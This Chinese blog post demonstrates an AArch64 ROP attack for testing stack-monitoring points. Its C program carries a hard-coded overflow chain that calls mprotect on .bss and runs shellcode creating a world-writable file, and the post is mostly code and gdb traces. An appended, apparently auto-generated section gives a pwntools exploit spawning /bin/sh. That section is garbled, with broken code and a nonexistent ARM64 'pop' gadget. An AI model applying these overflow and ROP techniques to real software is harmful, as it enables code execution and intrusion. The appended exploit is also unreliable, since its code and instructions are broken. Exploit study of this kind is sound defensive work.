c仿照pwn题实现arm64下的rop

代码基于一个ctf竞赛的rop用例写成,省去了用pwn进行攻击的过程,减少了工具的使用,方便以后添加到自动化测试用例。

废话不多说,先贴代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
 
 
char * rop_chain =
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"/* padding */
"\x04\x07\x40\x00\x00\x00\x00\x00"/* pc gadget 1 */
"\x00\x00\x00\x00\x00\x00\x00\x00"/* x29 */
"\xe4\x06\x40\x00\x00\x00\x00\x00"/* x30 */
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"/* x19 x20 */
"\x50\x10\x41\x00\x00\x00\x00\x00"/*x21 = bss addr => [x21] = mprotect addr*/
"\x07\x00\x00\x00\x00\x00\x00\x00"/* x22 mprotect.argv[3] mode */
"\x00\x10\x00\x00\x00\x00\x00\x00"/* x23 mp.argc[2] size */
"\x00\x10\x41\x00\x00\x00\x00\x00"/* x24 mp.argc[1] addr */
"\x60\x10\x41\x00\x00\x00\x00\x00"
"\x60\x10\x41\x00\x00\x00\x00\x00"/* ret to shellcode */
;
char * rop_bufer = "\x24\x06\x40\x00\x00\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90"
"\x8e\xae\x8c\xd2\x6e\x8e\xae\xf2\xce\xed\xcd\xf2\x8e\xac\xec\xf2\xef\x03\x1f"
"\xaa\xee\x3f\xbf\xa9\x60\x0c\x80\x92\xe1\x73\x3f\x8b\xa2\x3d\x80\xd2\xe3\x03"
"\x1f\xaa\x28\x04\x80\xd2\x81\x46\x02\xd4\xe0\x03\x1f\xaa\xa8\x0b\x80\xd2\x81"
"\x46\x02\xd4";
char bss_atk[100];
void fake_mp(void)
{
        char * addr;
        mprotect(addr,1000,7);
}
 
int over_read(void)
{
        char buf[64];
        memcpy(buf,rop_chain,0x200);
}
int main(void)
{
/*      char *shellbuf = mmap(0,1000,3,0x21,-1,0);
        printf("%p\n",shellbuf);
        printf("name:\n");
*/
 
        memcpy(bss_atk,rop_bufer,100);
        over_read();
        return 0;
}

编译选项、环境及原理:

# 环境
uname -a
Linux ky10-desktop 4.4.131-20210319.kylin.pks.desktop-generic #kylin SMP Thu Mar 25 21:37:06 CST 2021 aarch64 aarch64 aarch64 GNU/Linux
 
/lib/aarch64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0kord11k20.5) stable release version 2.23, by Roland McGrath et al.
 
# 编译
gcc myrop.c -o myrop -g -fno-stack-protector
 
 
# 原理
# 第一个memcpy将mprotect的地址和shellcode写到bss段的数据中
# 第二个memcpy通过溢出,实现rop构造mprotect的参数并return到第一步中的地址中去执行
# mprotect通过修改bss段的权限为可执行,然后在mprotect执行完之后,return到bss的shellcode地址去执行shellcode
# shellcode会创建一个名为testnode的文件,该文件权限为0777
整个rop攻击过程按理说会触发到两个我们的监控点,下面将进行栈信息的解析:

第一次memcpy,将mprotect的地址和shellcode填充到bss段

# 第一次memcpy,将mprotect的地址和shellcode一起写到bss段,此时栈上的数据是正常的,因为这属于正常流程
   0x400684 <main+36>:  mov     x2, x0
   0x400688 <main+40>:  mov     x0, x3
   0x40068c <main+44>:  bl      0x400470 <memcpy@plt>
=> 0x400690 <main+48>:  bl      0x400634 <over_read>
 | 0x400694 <main+52>:  mov     w0, #0x0                        // #0
 | 0x400698 <main+56>:  ldp     x29, x30, [sp],#16
 | 0x40069c <main+60>:  ret
 | 0x4006a0 <__libc_csu_init>:  stp     x29, x30, [sp,#-64]!
 |->   0x400634 <over_read>:    stp     x29, x30, [sp,#-80]!
       0x400638 <over_read+4>:  mov     x29, sp
       0x40063c <over_read+8>:  adrp    x0, 0x411000
       0x400640 <over_read+12>: add     x0, x0, #0x38
                                                                                                                                                                                  JUMP is taken
No argument
[---------------------------------------------------------------------------------------------STACK---------------------------------------------------------------------------------------------]
0000| 0x7ffffff410 --> 0x7ffffff420 --> 0x0
0008| 0x7ffffff418 --> 0x7fb7e8e920 (<__libc_start_main+224>:   bl      0x7fb7ea2fa8 <exit>)
0016| 0x7ffffff420 --> 0x0
0024| 0x7ffffff428 --> 0x4004e8 (<_start+40>:   bl      0x4004a0 <abort@plt>)
0032| 0x7ffffff430 --> 0x0
0040| 0x7ffffff438 --> 0x0
0048| 0x7ffffff440 --> 0x4004c0 (<_start>:      mov     x29, #0x0                       // #0)
0056| 0x7ffffff448 --> 0x0
[-------------------------------------------------------------------------------Legend: code, data, rodata, value-------------------------------------------------------------------------------]
46              over_read();
peda-arm > x/10gx bss_atk
0x411050 <bss_atk>:     0x0000000000400624      0x9090909090909090
0x411060 <bss_atk+16>:  0xf2ae8e6ed28cae8e      0xf2ecac8ef2cdedce
0x411070 <bss_atk+32>:  0xa9bf3feeaa1f03ef      0x8b3f73e192800c60
0x411080 <bss_atk+48>:  0xaa1f03e3d2803da2      0xd4024681d2800428
0x411090 <bss_atk+64>:  0xd2800ba8aa1f03e0      0x00000000d4024681
 
# 可以看到,bss_atk的第一个内存为400624,恰好是指令bl mprotect@plt的指令地址
# 后面的一些90是nop填充,没什么实际的意义,再后面的数据即 shellcode,对应于地址0x411060
peda-arm > x/10i 0x0000000000400624-0x10
   0x400614 <fake_mp+4>:        mov     x29, sp
   0x400618 <fake_mp+8>:        mov     w2, #0x7                        // #7
   0x40061c <fake_mp+12>:       mov     x1, #0x3e8                      // #1000
   0x400620 <fake_mp+16>:       ldr     x0, [x29,#24]
   0x400624 <fake_mp+20>:       bl      0x4004b0 <mprotect@plt>  # 这里,bl mprotect
   0x400628 <fake_mp+24>:       nop
   0x40062c <fake_mp+28>:       ldp     x29, x30, [sp],#32
   0x400630 <fake_mp+32>:       ret
   0x400634 <over_read>:        stp     x29, x30, [sp,#-80]!
   0x400638 <over_read+4>:      mov     x29, sp

第二次memcpy,利用栈溢出,将over_read函数调用者(即main)的栈布局进行修改

# 第二次memcpy会溢出到栈空间并将上层函数的x29和x30覆盖
    # memcpy之前,未溢出的上一层函数栈空间布局 (main的栈布局)
peda-arm > x/10gx 0x7ffffff410
0x7ffffff410:   0x0000007ffffff420      0x0000007fb7e8e920
0x7ffffff420:   0x0000000000000000      0x00000000004004e8
0x7ffffff430:   0x0000000000000000      0x0000000000000000
0x7ffffff440:   0x00000000004004c0      0x0000000000000000
0x7ffffff450:   0x0000000000000000      0x0000000000000000
X30: 0x400654 (<over_read+32>:  nop) # 此时的pc刚进入memcpy的plt:=> 0x400470 <memcpy@plt>:       adrp    x16, 0x411000
# 溢出之后栈空间布局,可以看到,下一次的返回地址被修改到了400704
peda-arm > x/10gx 0x7ffffff410
0x7ffffff410:   0x6161616161616161      0x0000000000400704
0x7ffffff420:   0x0000000000000000      0x00000000004006e4
0x7ffffff430:   0x0000000000000000      0x0000000000000000
0x7ffffff440:   0x0000000000411050      0x0000000000000007
0x7ffffff450:   0x0000000000001000      0x0000000000411000
    # 查看此时的栈,发现和顶层的栈好像有问题,按理说#2 层栈应该是lib_start_main
peda-arm > bt
#0  over_read () at myrop.c:37
#1  0x0000000000400694 in main () at myrop.c:46
#2  0x0000000000400704 in __libc_csu_init ()
Backtrace stopped: Cannot access memory at address 0x6161616161616169
 
 
# 此时pc所处位置,刚好是第二次memcpy返回处
   0x400648 <over_read+20>:     add     x0, x29, #0x10
   0x40064c <over_read+24>:     mov     x2, #0x200                      // #512
   0x400650 <over_read+28>:     bl      0x400470 <memcpy@plt>
=> 0x400654 <over_read+32>:     nop
   0x400658 <over_read+36>:     ldp     x29, x30, [sp],#80
   0x40065c <over_read+40>:     ret
# 因为arm64会有一个x30寄存器专门存储堆栈,且x29=x30,,位于栈顶,故当前真正的栈为0x7ffffff3c0,其指向的下一个x29即为上一层函数的栈顶0x0000007ffffff410,也既是我们溢出的栈空间
peda-arm > x/10gx 0x7ffffff3c0
0x7ffffff3c0:   0x0000007ffffff410      0x0000000000400694
0x7ffffff3d0:   0x6161616161616161      0x6161616161616161
0x7ffffff3e0:   0x6161616161616161      0x6161616161616161
0x7ffffff3f0:   0x6161616161616161      0x6161616161616161
0x7ffffff400:   0x6161616161616161      0x6161616161616161

因为第二次memcpy将上层函数(main)的栈空间破坏了,故main返回时会回到被构造的rop流程中

# 前面已经对溢出后的main的栈空间 0x7ffffff410 进行了查看,可以知道main执行后会ret到0x0000000000400704
# 查看400704的值,很明显ret后的地址不属于应该有的指令流程,但此时还没有触发我们到监控点,故此处的bt没有任何意义
peda-arm > x/10i 0x0000000000400704-0x10
   0x4006f4 <__libc_csu_init+84>:       add     x19, x19, #0x1
   0x4006f8 <__libc_csu_init+88>:       blr     x3
   0x4006fc <__libc_csu_init+92>:       cmp     x19, x20
   0x400700 <__libc_csu_init+96>:       b.ne    0x4006e4 <__libc_csu_init+68>
   0x400704 <__libc_csu_init+100>:      ldp     x19, x20, [sp,#16]
   0x400708 <__libc_csu_init+104>:      ldp     x21, x22, [sp,#32]
   0x40070c <__libc_csu_init+108>:      ldp     x23, x24, [sp,#48]
   0x400710 <__libc_csu_init+112>:      ldp     x29, x30, [sp],#64
   0x400714 <__libc_csu_init+116>:      ret
 # 执行到rop流中的__libc_csu_init的返回地址:0x400714 ,此时x30 == 0x4006e4,发现其又ret到了另一个地址,对应汇编为如下,继续追踪
peda-arm > x/10i 0x4006e4-0x8
   0x4006dc <__libc_csu_init+60>:       cbz     x20, 0x400704 <__libc_csu_init+100>
   0x4006e0 <__libc_csu_init+64>:       mov     x19, #0x0                       // #0
   0x4006e4 <__libc_csu_init+68>:       ldr     x3, [x21,x19,lsl #3]
   0x4006e8 <__libc_csu_init+72>:       mov     x2, x22
   0x4006ec <__libc_csu_init+76>:       mov     x1, x23
   0x4006f0 <__libc_csu_init+80>:       mov     w0, w24
   0x4006f4 <__libc_csu_init+84>:       add     x19, x19, #0x1
   0x4006f8 <__libc_csu_init+88>:       blr     x3
   0x4006fc <__libc_csu_init+92>:       cmp     x19, x20
   0x400700 <__libc_csu_init+96>:       b.ne    0x4006e4 <__libc_csu_init+68>
# 在0x4006f8 <__libc_csu_init+88>:       blr     x3处执行mprotect操作,跟进mprotect触发第一次监控点,并打印堆栈
   0x7fb7f3299c:        .inst   0x00000000 ; undefined
   0x7fb7f329a0 <mprotect>:     mov     x8, #0xe2                       // #226
   0x7fb7f329a4 <mprotect+4>:   svc     #0x0
=> 0x7fb7f329a8 <mprotect+8>:   cmn     x0, #0xfff
   0x7fb7f329ac <mprotect+12>:  b.cs    0x7fb7f329b4 <mprotect+20>
   0x7fb7f329b0 <mprotect+16>:  ret
   0x7fb7f329b4 <mprotect+20>:  b       0x7fb7e8ea10
   0x7fb7f329b8:        .inst   0x00000000 ; undefined
[---------------------------------------------------------------------------------------------STACK---------------------------------------------------------------------------------------------]
0000| 0x7ffffff460 --> 0x411060 --> 0xf2ae8e6ed28cae8e
0008| 0x7ffffff468 --> 0x411060 --> 0xf2ae8e6ed28cae8e
0016| 0x7ffffff470 --> 0x0
0024| 0x7ffffff478 --> 0x400624 (<fake_mp+20>:  bl      0x4004b0 <mprotect@plt>)
0032| 0x7ffffff480 --> 0x9090909090909090
0040| 0x7ffffff488 --> 0xf2ae8e6ed28cae8e
0048| 0x7ffffff490 --> 0xf2ecac8ef2cdedce
0056| 0x7ffffff498 --> 0xa9bf3feeaa1f03ef
[-------------------------------------------------------------------------------Legend: code, data, rodata, value-------------------------------------------------------------------------------]
0x0000007fb7f329a8 in mprotect () from /lib/aarch64-linux-gnu/libc.so.6
peda-arm > bt
#0  0x0000007fb7f329a8 in mprotect () from /lib/aarch64-linux-gnu/libc.so.6
#1  0x0000000000400628 in fake_mp () at myrop.c:30
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
# 发现此时的栈只有两层,且顶层为bl mprotect指令所在的函数指令的下一行地址,即返回地址,如果按照bl+ret的逻辑判断,这个栈是正常的(这也符合前提静态规则匹配通过)
 
# 再下一层的ret地址是bss段shellcode的所在的地址了
peda-arm > x/10gx $sp
0x7ffffff460:   0x0000000000411060      0x0000000000411060
0x7ffffff470:   0x0000000000000000      0x0000000000400624
0x7ffffff480:   0x9090909090909090      0xf2ae8e6ed28cae8e
0x7ffffff490:   0xf2ecac8ef2cdedce      0xa9bf3feeaa1f03ef
0x7ffffff4a0:   0x8b3f73e192800c60      0xaa1f03e3d2803da2
peda-arm > p $x30
$6 = 0x400628 # fake_mp中的地址
peda-arm > x/10i 0x400628-0x10
   0x400618 <fake_mp+8>:        mov     w2, #0x7                        // #7
   0x40061c <fake_mp+12>:       mov     x1, #0x3e8                      // #1000
   0x400620 <fake_mp+16>:       ldr     x0, [x29,#24]
   0x400624 <fake_mp+20>:       bl      0x4004b0 <mprotect@plt>
   0x400628 <fake_mp+24>:       nop
   0x40062c <fake_mp+28>:       ldp     x29, x30, [sp],#32
   0x400630 <fake_mp+32>:       ret
   0x400634 <over_read>:        stp     x29, x30, [sp,#-80]!
   0x400638 <over_read+4>:      mov     x29, sp
   0x40063c <over_read+8>:      adrp    x0, 0x411000

mportect执行完并返回后,会ret到bss的shellcode中执行

# 进入shellcode后,我们执行到svc的返回地址,并观察堆栈的情况
[----------------------------------------------------------------------------------------------CODE---------------------------------------------------------------------------------------------]
   0x411084 <bss_atk+52>:       mov     x3, xzr
   0x411088 <bss_atk+56>:       mov     x8, #0x21                       // #33
   0x41108c <bss_atk+60>:       svc     #0x1234
=> 0x411090 <bss_atk+64>:       mov     x0, xzr
   0x411094 <bss_atk+68>:       mov     x8, #0x5d                       // #93
   0x411098 <bss_atk+72>:       svc     #0x1234
   0x41109c <bss_atk+76>:       .inst   0x00000000 ; undefined
   0x4110a0 <bss_atk+80>:       .inst   0x00000000 ; undefined
[---------------------------------------------------------------------------------------------STACK---------------------------------------------------------------------------------------------]
0000| 0x7ffffff470 ("testnode")
0008| 0x7ffffff478 --> 0x0
0016| 0x7ffffff480 --> 0x9090909090909090
0024| 0x7ffffff488 --> 0xf2ae8e6ed28cae8e
0032| 0x7ffffff490 --> 0xf2ecac8ef2cdedce
0040| 0x7ffffff498 --> 0xa9bf3feeaa1f03ef
0048| 0x7ffffff4a0 --> 0x8b3f73e192800c60
0056| 0x7ffffff4a8 --> 0xaa1f03e3d2803da2
[-------------------------------------------------------------------------------Legend: code, data, rodata, value-------------------------------------------------------------------------------]
0x0000000000411090 in bss_atk ()
peda-arm > bt
#0  0x0000000000411090 in bss_atk ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
# 此时svc执行完之后,返回到r3,可以看到,只有当前的一层栈
 
 
peda-arm > x/10gx $sp
0x7ffffff470:   0x65646f6e74736574      0x0000000000000000
0x7ffffff480:   0x9090909090909090      0xf2ae8e6ed28cae8e
0x7ffffff490:   0xf2ecac8ef2cdedce      0xa9bf3feeaa1f03ef
0x7ffffff4a0:   0x8b3f73e192800c60      0xaa1f03e3d2803da2
0x7ffffff4b0:   0xd4024681d2800428      0xd2800ba8aa1f03e0
# sp所指向的地址也不对了
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ROP(Return Oriented Programming)是一种攻击技术,通过在已有程序的可执行代码中找到一些已有的指令序列,然后通过构造栈帧和寄存器的值,将这些指令序列串联起来执行,以达到攻击的目的。 在ARM64架构中,ROP攻击的实现方式和x86架构类似,主要包括以下几个步骤: 1. 找到可用的指令序列:在程序的可执行代码中,找到一些已有的指令序列,这些指令序列可以实现ROP攻击的目的。 2. 构造栈帧:通过修改程序的栈帧,将ROP攻击所需要的参数和返回地址压入栈中。 3. 控制程序流程:通过修改程序的返回地址,将程序的控制流程跳转到已有的指令序列中,实现攻击的目的。 下面是一个简单的ARM64 ROP攻击的实现代码示例: ```c #include <stdio.h> #include <stdlib.h> #include <string.h> void vuln(char *buf) { char buf2[8]; strcpy(buf2, buf); printf("%s\n", buf2); } int main(int argc, char **argv) { char buf[8]; fgets(buf, 8, stdin); vuln(buf); return 0; } ``` 在这个示例程序中,存在一个栈溢出漏洞,在vuln函数中,将用户输入的字符串复制到了buf2数组中,如果输入的字符串长度超过了8个字节,就会发生栈溢出。 下面是一个简单的ROP攻击实现代码: ```python from pwn import * # gadget # pop {x0, x1, x2, x3, x4, x5, x6, x7, x8, lr}; ret; pop_x0_to_x8_lr = p64(0x4000f8) # mov x0, x1; mov x1, x2; mov x2, x3; mov x3, x4; mov x4, x5; mov x5, x6; mov x6, x7; mov x7, x8; blr x13; mov_x0_to_x8_blr_x13 = p64(0x400108) # system函数的地址 system_addr = p64(0x7ffff7a52370) # bin/sh字符串的地址 bin_sh_addr = p64(0x7ffff7b99e18) # 构造ROProp = b'' rop += pop_x0_to_x8_lr rop += bin_sh_addr rop += p64(0x0) * 7 rop += system_addr # 构造payload payload = b'A' * 8 payload += rop # 发送payload p = process('./vuln') p.sendline(payload) p.interactive() ``` 在这个示例中,我们首先找到了两个gadget:一个用于将参数压入寄存器中,另一个用于调用system函数。然后通过系统函数的地址和/bin/sh字符串的地址,构造了一个ROP链,将其作为输入,发送给目标程序,实现了一个简单的ROP攻击。 需要注意的是,由于ARM64架构中的指令是64位的,因此在构造ROP链时需要使用64位的地址和指令。另外,在实现ROP攻击时,还需要考虑栈保护和ASLR等安全机制的影响。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值